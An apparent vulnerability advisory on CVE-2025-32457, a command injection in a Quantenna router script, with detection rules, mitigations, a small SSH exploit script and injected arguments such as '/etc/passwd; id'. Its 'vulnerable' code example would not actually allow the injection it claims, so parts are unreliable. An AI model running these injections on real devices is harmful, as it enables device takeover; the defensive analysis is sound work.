CVE-2025-32457

Executive Summary

CVE-2025-32457 is a critical command injection vulnerability in the Quantenna Wi-Fi chipset, specifically within the router_command.sh script's get_file_from_qtn argument. This flaw, classified as CWE-88 (Argument Injection), allows a local attacker with no privileges to execute arbitrary commands, leading to full confidentiality and integrity compromise of the device. The vulnerability affects all versions up to the latest SDK (8.0.0.28) and remains unpatched at the time of disclosure. The vendor has only provided a best practices guide for implementors, leaving devices exposed. The CVSS score of 7.7 reflects the high impact on confidentiality and integrity, though availability is not directly affected.

This vulnerability is particularly dangerous in IoT and embedded environments where Quantenna chipsets are used in routers and access points. An attacker with local access (e.g., via a compromised guest network or physical access) can escalate to full device control.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in the Quantenna Wi-Fi chipset SDK.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Base Score: 7.7 (HIGH)
• Attack Vector: Local (AV:L) – Requires local access to the device.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality Impact: High (C:H) – Full read access to device data.
• Integrity Impact: High (I:H) – Full write access to device data.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: HIGH. The lack of a patch and the low attack complexity make this a prime target for local privilege escalation and lateral movement within a network.

Deep Dive & Mechanics

The vulnerability resides in the router_command.sh script, which is a local control interface for the Quantenna Wi-Fi chipset. The script accepts a get_file_from_qtn argument that is used to retrieve files from the chipset's filesystem. The argument is not properly sanitized, allowing an attacker to inject arbitrary shell commands by inserting command delimiters (e.g., ;, |, &&).

Root Cause: The script likely passes the user-supplied argument directly to a shell command (e.g., cat $1 or cp $1 /tmp/) without proper validation. An attacker can break out of the intended argument and execute arbitrary commands.

Example Attack Vector:

# Normal usage
router_command.sh get_file_from_qtn /etc/config/wireless

# Malicious usage
router_command.sh get_file_from_qtn "/etc/config/wireless; id"

This would execute id after the intended file retrieval, revealing the current user context.

Impact: An attacker can:

• Read sensitive files (e.g., /etc/shadow, Wi-Fi credentials).
• Write malicious files (e.g., backdoors, modified configs).
• Execute arbitrary commands as the chipset's user (often root).
• Pivot to other devices on the network.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

#!/bin/sh
# router_command.sh
case "$1" in
    get_file_from_qtn)
        cat "$2"   # Vulnerable: no sanitization
        ;;
    *)
        echo "Unknown command"
        ;;
esac

Patched Code (Conceptual):

#!/bin/sh
# router_command.sh
case "$1" in
    get_file_from_qtn)
        # Sanitize input: only allow alphanumeric and path characters
        if echo "$2" | grep -qE '^[a-zA-Z0-9_/.-]+$'; then
            cat "$2"
        else
            echo "Invalid path"
            exit 1
        fi
        ;;
    *)
        echo "Unknown command"
        ;;
esac

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a device with Quantenna chipset (e.g., a router running OpenWrt with Quantenna driver).
2. Gain local access via SSH, telnet, or a compromised guest network.
3. Execute the exploit.

Exploit Script:

#!/bin/bash
# CVE-2025-32457 Exploit
# Usage: ./exploit.sh <target_ip> <command>

TARGET=$1
CMD=$2

if [ -z "$TARGET" ] || [ -z "$CMD" ]; then
    echo "Usage: $0 <target_ip> <command>"
    exit 1
fi

# Execute command via argument injection
ssh admin@$TARGET "router_command.sh get_file_from_qtn \"/etc/passwd; $CMD\""

Example:

./exploit.sh 192.168.1.1 "id"

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Blue Team

Detection:

• Monitor for unusual arguments to router_command.sh in system logs.
• Look for shell metacharacters (;, |, &, $(), `) in process arguments.
• Use file integrity monitoring on /usr/bin/router_command.sh.

Honeypot:

• Create a fake router_command.sh that logs all invocations and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

• File: /usr/bin/router_command.sh (if present, it's a target)
• Process: router_command.sh get_file_from_qtn with unusual arguments
• Log Entry: router_command.sh: get_file_from_qtn /etc/passwd; id (example)
• Network: Outbound connections from the device to unknown IPs (post-exploitation)
• File Changes: New files in /tmp/ or /etc/ with suspicious names

Detection Engineering

YARA Rule

rule CVE_2025_32457_Quantenna_Command_Injection {
    meta:
        description = "Detects command injection attempts against Quantenna router_command.sh"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-32457"
    strings:
        $script = "router_command.sh" nocase
        $arg = "get_file_from_qtn" nocase
        $inject1 = /[;&|`$()]/
        $inject2 = /(\|\||&&)/
    condition:
        $script and $arg and ($inject1 or $inject2)
}

Sigma Rule

title: CVE-2025-32457 Quantenna Command Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects command injection attempts against Quantenna router_command.sh
author: Valters IT
date: 2025/04/01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/router_command.sh'
        CommandLine|contains: 'get_file_from_qtn'
    filter:
        CommandLine|re: '^[a-zA-Z0-9_/.-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate file retrieval with safe paths
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32457 Quantenna Command Injection Attempt"; flow:to_server,established; content:"router_command.sh"; content:"get_file_from_qtn"; pcre:"/[;&|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from untrusted networks (e.g., guest Wi-Fi).
2. Restrict local access to the device (disable SSH/telnet if not needed).
3. Apply vendor best practices guide (if available) to harden the implementation.

Long-term Fix:

• Vendor: Release a patched SDK with proper input sanitization.
• Implementors: Modify router_command.sh to whitelist allowed paths and strip shell metacharacters.

Workaround:

• Replace router_command.sh with a wrapper that validates input:

#!/bin/sh
# Safe wrapper for router_command.sh
case "$1" in
    get_file_from_qtn)
        # Only allow alphanumeric, slash, dot, hyphen, underscore
        if echo "$2" | grep -qE '^[a-zA-Z0-9_/.-]+$'; then
            /usr/bin/router_command.sh "$1" "$2"
        else
            echo "Invalid path"
            exit 1
        fi
        ;;
    *)
        /usr/bin/router_command.sh "$@"
        ;;
esac

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